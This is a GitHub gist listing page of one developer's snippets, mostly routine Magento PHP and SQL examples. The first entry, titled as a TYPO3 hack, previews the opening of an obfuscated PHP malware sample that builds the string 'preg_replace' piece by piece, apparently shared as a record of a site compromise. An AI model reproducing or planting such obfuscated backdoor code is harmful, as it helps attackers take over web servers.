Skip to content

Instantly share code, notes, and snippets.

View SchumacherFM's full-sized avatar

Cyrill Schumacher SchumacherFM

View GitHub Profile
@SchumacherFM
SchumacherFM / gist:3349554
Created August 14, 2012 14:06
TYPO3 hacked in TemplaVoila 1.6
<?php
/*wjmrwg7zaBtVqBVJWTiNkMPYQaLo69qgsNaDo44B0
cCMmj329Ck4XgeOptvyyiFcbxxnEH4hqUkA
1wg2XkWSfr95qFlGyMYiGWl74mr0AbW
ssFfmIQzzd6KgyGQ2ic1JNyRbY7g7bqNzgjFzHedKADKVv9VW
5mEhySWK1fOoZxcrrkPh8u7BHQQraF5r
*/
$RuoGzMJ='preg_'. 'rep'. 'l'.'a'.'c'. 'e';
@SchumacherFM
SchumacherFM / gistIdController.php
Created November 30, 2012 10:10
Dynamic Magento controller Actions with PHP __call() method. Works without any rewrite condition. Good or bad? ;-)
<?php
class XXX_FileRestriction_IdController extends Mage_Core_Controller_Front_Action
{
/**
* Allow URLs like http://domain.tld/downloader/id/4711
* without any rewrite syntax
*
* @param string $method
* @param array $args
@SchumacherFM
SchumacherFM / Related.php
Created December 14, 2012 14:02
Magento: Extended Version of the related products in the community edition / Get a product collection and filter by a multiselect field with another multiselect field. sto_artsc3_line is the multiselect field, type varchar. FIND_IN_SET() handles the magic in MySQL. If anybody knows a better solution, post it here :-)
@SchumacherFM
SchumacherFM / Attribute2.php
Created January 11, 2013 16:45
Magento (CE1.7) Catalog Category Layer Filter: Filtering for the attribute gender. Adding a second value to this attribute for the filter query. In this example we add the unisex value to the query when someone searches for a product which gender attribute is lady or gentlemen.
<?php
/**
* XML rewrite:
*
* <config><global><models>
<catalog_resource>
<rewrite>
<layer_filter_attribute>Namespace_Module_Model_Resource_Layer_Filter_Attribute</layer_filter_attribute>
</rewrite>
</catalog_resource>
@SchumacherFM
SchumacherFM / FormatPrice.php
Created January 24, 2013 12:31
Magento: reformat the price system wide for any locale to a consistent format width the event currency_display_options_forming
<?php
class Namespace_Module_Model_Observer_FormatPrice
{
public function formatPrice(Varien_Event_Observer $observer)
{
$event = $observer->getEvent();
$options = $event->getCurrencyOptions();
/**
@SchumacherFM
SchumacherFM / mysql4-upgrade-0.0.x-0.0.y.php
Last active December 15, 2015 11:59
Magento: Want to use negative position values in Category Product Relation? Just include this MySQL update routine and rerun the indexer for catalog_category_product. Problem: Table catalog_category_product with its column position is type signed while the column position in the indexers anchor idx and tmp table are unsigned. Unsigned columns ca…
<?php
/**
* @var $installer Mage_Catalog_Model_Resource_Eav_Mysql4_Setup
*/
$installer = $this;
$installer->startSetup();
$tables = array(
$installer->getTable('catalog/category_anchor_products_indexer_idx'),
$installer->getTable('catalog/category_anchor_products_indexer_tmp')
);
@SchumacherFM
SchumacherFM / copy-store-view.sql
Created June 6, 2013 14:48
Magento - Copy Store Views / Some tables are still missing
-- idea: rebuild this via php and use mysql.information_schema to automatically figure out tables with column store_id resp. website_id
-- maybe include it into n98-magerun
# DEFINE
SET @to_store := 8;
SET @to_website := 4;
SET @from_store := 2;
SET @from_website := 3;
@SchumacherFM
SchumacherFM / switch.php
Created October 10, 2013 04:30
The always nice and awesome and total cool Switch Statements :-(
<?php
/**
* Returns a PDO parameter constant to bind a variable with
*
* @param string $type Which variable type to check
*
* @return int PDO parameter constant
*/
public static function getBindConstant($type)
@SchumacherFM
SchumacherFM / ace.js
Created October 25, 2013 02:46
Ace Editor (http://ace.c9.io/#nav=about) with Diff
/*
load js libs:
'/Resources/public/js/lib/ace/ace.js'
'/Resources/public/js/lib/ace/mode-diff.js'
'/Resources/public/js/lib/ace/theme-chrome.js'
https://github.com/Slava/diff.js/blob/master/diff.js
*/
var data = { /*json from server ... */
after: [
@SchumacherFM
SchumacherFM / Subscribe.php
Created December 19, 2013 01:05
Adding a simple block cache per customer to MageMonkey will improve the load of the Magento Checkout OnePage Review section after the first hit. Maybe the cache keys are not that optimal. As I have seen the code in line 41-48 I've started immediately to cry :-( License: GPL https://twitter.com/centerax/status/413285266996989952
<?php
/**
* Checkout subscribe checkbox block renderer
*
* @category Ebizmarts
* @package Ebizmarts_MageMonkey
* @author Ebizmarts Team <info@ebizmarts.com>
*/
class Ebizmarts_MageMonkey_Block_Checkout_Subscribe extends Ebizmarts_MageMonkey_Block_Lists